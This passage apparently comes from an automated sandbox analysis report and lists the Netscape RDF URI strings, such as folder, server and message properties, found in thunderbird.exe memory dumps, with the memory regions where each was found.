Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#EmptyTrash
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Enabled
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Enabledfilter;filterName=filterName=MsgBiffinserting
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#File
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#FileSystemObject
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Folder
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#FolderSize
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#FolderTreeName
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#FolderTreeName?sort=true
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#FolderTreeSimpleName
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#GetNewMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#HasUnreadMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IEFavorite
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IEFavoriteFolder
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Icon
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IconURL
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Identity
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#ImapShared
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#InVFEditSearchScope
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsDefaultServer
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsDeferred
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsDirectory
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsMailList
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsRemote
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsSecure
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsServer
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsSessionDefaultServer
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsSessionDefaultServerNC:smtpservershttp://home.netscape.com/NC-rdf#
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#IsWriteable
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Junk
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Key
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#KeyIndex
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#LeafName
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#MarkAllMessagesRead
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Modify
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Modify.descriptionldap_2.servers.pab.descriptionabook.mab%s%s.mabcon
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Move
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#MoveFolder
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 0000000D.00000000.2740895283.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Name
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Name?sort=true
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Namehttp://home.netscape.com/NC-rdf#Checkedhttp://home.netscape.com/
Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Namehttp://home.netscape.com/NC-rdf#KeyIndex
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#NewFolder
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#NewMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#NoSelect
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTag
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitle
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleAddressing
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleCopies
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleDiskSpace
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleFakeAccount
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleJunk
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleMain
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleOfflineAndDiskSpace
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleSMTP
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#PageTitleServer
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#ProgressPercent
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#ReallyDelete
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#RedirectorType
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Rename
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Server
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#ServerType
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Settings
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Settingsmsgaccounts:/http://home.netscape.com/NC-rdf#PageTitleFakeAc
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#SpecialFolder
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#StatusText
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#SubfoldersHaveUnreadMessages
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Subscribable
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Subscribablehttp://home.netscape.com/NC-rdf#Subscribedhttp://home.ne
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#Subscribed
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#SupportsFilters
Source: thunderbird.exe, 00000003.00000002.2266000536.0000000000B9E000.00000008.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2422176234.0000000000B9E000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://home.netscape.com/NC-rdf#SupportsOffline
